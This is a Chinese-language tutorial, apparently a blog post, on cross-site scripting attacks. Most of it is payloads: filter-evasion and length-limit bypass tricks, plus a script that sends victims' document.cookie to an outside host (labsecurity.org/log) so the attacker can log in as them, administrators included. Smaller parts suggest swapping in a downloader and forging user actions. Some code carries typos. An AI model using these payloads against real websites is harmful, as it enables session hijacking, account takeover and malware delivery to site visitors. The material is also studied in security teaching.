XSS跨站腳本攻擊初探
XSS跨站腳本攻擊的基本原理和SQL 注入攻擊類似(個(gè)人觀點(diǎn)),都是利用系統(tǒng)執(zhí)行了未經(jīng)過濾的危險(xiǎn)代碼,不同點(diǎn)在于XSS是一種基于網(wǎng)頁腳本的注入方式,也就是將腳本攻擊載荷寫入網(wǎng)頁執(zhí)行以達(dá)到對網(wǎng)頁客戶端訪問用戶攻擊的目的,屬于客戶端攻擊。而SQL注入攻擊將危險(xiǎn)代碼繞過正常的文本輸入變?yōu)榭蓤?zhí)行的SQL執(zhí)行語句從而操縱數(shù)據(jù)庫,從而進(jìn)一步探測、操縱數(shù)據(jù)庫信息。屬于服務(wù)器攻擊?(菜鳥看法)。
XSS攻擊前奏(XSS bug 檢測)
1、最常見的最經(jīng)典的XSS bug檢測語句必然是
<script>alert(/XSS/)</script> ①
比如在存在XSS bug的留言板上寫上留言①,當(dāng)訪問留言板網(wǎng)頁時(shí)會(huì)彈出對話框:
這表明我們輸入的語句被原樣寫入的網(wǎng)頁并被瀏覽器執(zhí)行了.那么我們就有機(jī)會(huì)執(zhí)行我們的腳本攻擊載荷:
<script src = http://www.labsecurity.org/xssbug.js></script>
在我們的網(wǎng)絡(luò)空間上的xssbug.js代碼可以是
Var img = document.createElement(“img”);
Img.src = “http://www.labsecurity.org/log?”+escape(document.cookie);
document.body.appendChild(img);
如果我們?nèi)缟洗a順利執(zhí)行,那么被攻擊者在目標(biāo)網(wǎng)站的登錄cookie就寫進(jìn)了log.得到其cookie后,進(jìn)行瀏覽器重新發(fā)包就可以以被攻擊者身份登錄目標(biāo)網(wǎng)站.(被攻擊者可以是普通用戶也可以使網(wǎng)站超級管理員).
將竊取cookie的代碼換成下載者地址就可以將下載者下載到存在下載者攻擊漏洞的用戶電腦上.
也可以將代碼換成目標(biāo)用戶在網(wǎng)站上的某些操作的 數(shù)據(jù)包腳本.促使在不知情的情況下”自愿”進(jìn)行某些操作.
對于Cookie竊取的防御可以使IP綁定等方案了.
既然存在XSS攻擊那么程序員在開發(fā)時(shí)必然會(huì)進(jìn)行某些危險(xiǎn)關(guān)鍵字的過濾,以及限制用戶的輸入長度.這樣即使存在xss漏洞.Hack也只能檢測,卻不能夠?qū)懭牍糨d荷(長度限制啊).
2、利用IMG圖片標(biāo)記屬性跨站
當(dāng)然也可以像上面所說的在留言板中輸入
<img src=”javacript:alert(/XSS/)”></img>
這所說的不是這樣是在用戶上傳圖片時(shí)將圖片路徑修改為一段可執(zhí)行的XSS測試腳本.
如果存在XSS漏洞那么此類腳本就會(huì)被執(zhí)行.這類腳本要閉合雙引號”>”等.
利用DIV標(biāo)簽屬性跨站
<div style=”width:0;height:0;background:url(javascript:document.body.onload = function(){alert(/XSS/);};”></div>
利用已知事件攻擊
移動(dòng)特效字<marquee>文字</marquee>
<marquee onstart=”alert(/XSS/)”>文字</marquee>
B.<div style=”” onmouseenter=”alert(/XSS/)”>文字</div>
構(gòu)造事件
<img style=”#” style=”TEST:e-xpression(alert(/XSS/));”>
常用的事件構(gòu)造
<font style = “TEST:e-xpression(alert(/XSS/))”></font>
<li style = “TEST:e-xpression(alert(/XSS/))”></li>
<table style = “TEST:e-xpression(alert(/XSS/))”></table>
<a style = “TEST:e-xpression(alert(/XSS/))”></a>
<b style = “TEST:e-xpression(alert(/XSS/))”></b>
<ul style = “TEST:e-xpression(alert(/XSS/))”></ul>
<marque tyle = “TEST:e-xpression(alert(/XSS/))”></marquee>
3、突破程序員的過濾限制
利用javascript換行與空格突破過濾
<img src = j ava script:al er t(/XSS/)>///空格使用Tab鍵產(chǎn)生
<img src = j
ava script :a ler t(/xss/)>
利用注釋<img src = “#”/**/onerror = alert(/XSS/)>
轉(zhuǎn)代碼,繞過濾
使用大小寫轉(zhuǎn)換繞過過濾
使用進(jìn)制編碼
空格回車符
JS 還原函數(shù)法
String.fromCharCode()可以將ASCII編碼還原成字符串,那么就可以eval(String.fromCharCode(97,108,101.....))
突破長度限制
注釋符閉合相鄰的輸入框達(dá)到合并的目的
<input id = 1 type = “text” value=””/>
<input id = 2 type = “text” value = “”/>
這樣我們可以在第一個(gè)框中輸入”>alert<!--
在第二個(gè)輸入框中輸入--><script>(/XSS/);</script>
這樣效果就是
<input id = 1 type = “text” value=”” <script>alert(/XSS/)</script>”/>
使用<base>標(biāo)簽進(jìn)行相對路徑劫持
<body>
<base href=”http://www.labsecurity.org”/>
<img src = “evil.js”>
<body>
當(dāng)我們沒有使用base標(biāo)簽時(shí)evil.js是調(diào)用的服務(wù)器根目錄下的evil.js腳本文件.當(dāng)我們使用<base>腳本后.那么在此標(biāo)簽后的所有相對路徑為我們設(shè)置的網(wǎng)站.
因此可以先使用<base>腳本劫持,然后再寫入<img src=”xxx.js”>突破長度限制.
4、使用window.name進(jìn)行字符串傳遞
在我們自己的構(gòu)造的頁面中寫入如下代碼
<script>
Window.name=”<script src=http://www.labsecurity.org/xss.js><script>”
Window.location=”http://www.xxxx.com/xxx.asp”
</script>
當(dāng)我們跳轉(zhuǎn)到目標(biāo)網(wǎng)頁時(shí)我們的window.name值為我們設(shè)置的跨站腳本語句.
因此我們可以使用eval(name)進(jìn)行跨站攻擊.
利用上下文擴(kuò)展長度
<div id="x">alert%28document.cookie%29%3B</div>
<limited_xss_point>eval(unescape(x.innerHTML));</limited_xss_point>
上文是不限制長度的安全數(shù)據(jù),那么我們就可以在下文中使用此安全數(shù)據(jù).進(jìn)行XSS攻擊突破長度.
5.利用URL 中的數(shù)據(jù)
如果頁面里不存在上一節(jié)所說的可控HTML 上下文數(shù)據(jù)怎么辦?有些數(shù)據(jù)是我們無條件可控的,第一個(gè)想到的就是URL,通過在URL 的尾部參數(shù)構(gòu)造要執(zhí)行的代碼,然后在XSS點(diǎn)通過
document.URL/location.href 等方式獲得代碼數(shù)據(jù)執(zhí)行,這里假設(shè)代碼從第80 個(gè)字符開始到
最后:
- http://www.xssedsite.com/xssed.php?x=1....&alert(document.cookie)
- <limited_xss_point>eval(document.URL.substr(80));</limited_xss_point>
長度:30
- <limited_xss_point>eval(location.href.substr(80));</limited_xss_point>
長度:31
上面兩個(gè)例子對比,前一個(gè)例子更短,那么有沒有辦法更短呢?通過查閱Javascript 手冊
的String 的方法可以發(fā)現(xiàn),切割字符串有一個(gè)更短的函數(shù)slice,5 個(gè)字符比substr 還要短一個(gè)字符:
<limited_xss_point>eval(document.URL.slice(80));</limited_xss_point>
長度:29
<limited_xss_point>eval(location.href.slice(80));</limited_xss_point>
長度:30
那么還有沒有辦法更短呢?答案是YES,查閱一下MSND 里的location 對象的參考你會(huì)發(fā)現(xiàn)有個(gè)hash 成員,獲取#之后的數(shù)據(jù),那么我們可以把要執(zhí)行的代碼放在#后面,然后通過hash獲得代碼執(zhí)行,由于獲得的數(shù)據(jù)是#開頭的,所以只需要slice 一個(gè)字符就可以拿到代碼:
- http://www.xssedsite.com/xssed.php?x=1....#alert(document.cookie)
- <limited_xss_point>eval(location.hash.slice(1));</limited_xss_point>
長度:29
這樣比上面的例子又少了一個(gè)字符。那么還可以更短么?
6.剪切板clipboardData
攻擊者在自己域的頁面上通過clipboardData 把Payload 寫入剪切板,然后在被XSS 頁面獲取并執(zhí)行該數(shù)據(jù)。攻擊者構(gòu)造的頁面:
- <script>
- clipboardData.setData("text", "alert(document.cookie)");
- </script>
被XSS 的頁面:
<limited_xss_point>eval(clipboardData.getData("text"));</limited_xss_point>
長度:36
這種方式只適用于IE 系列,并且在IE 7 及以上版本的瀏覽器會(huì)有安全提示。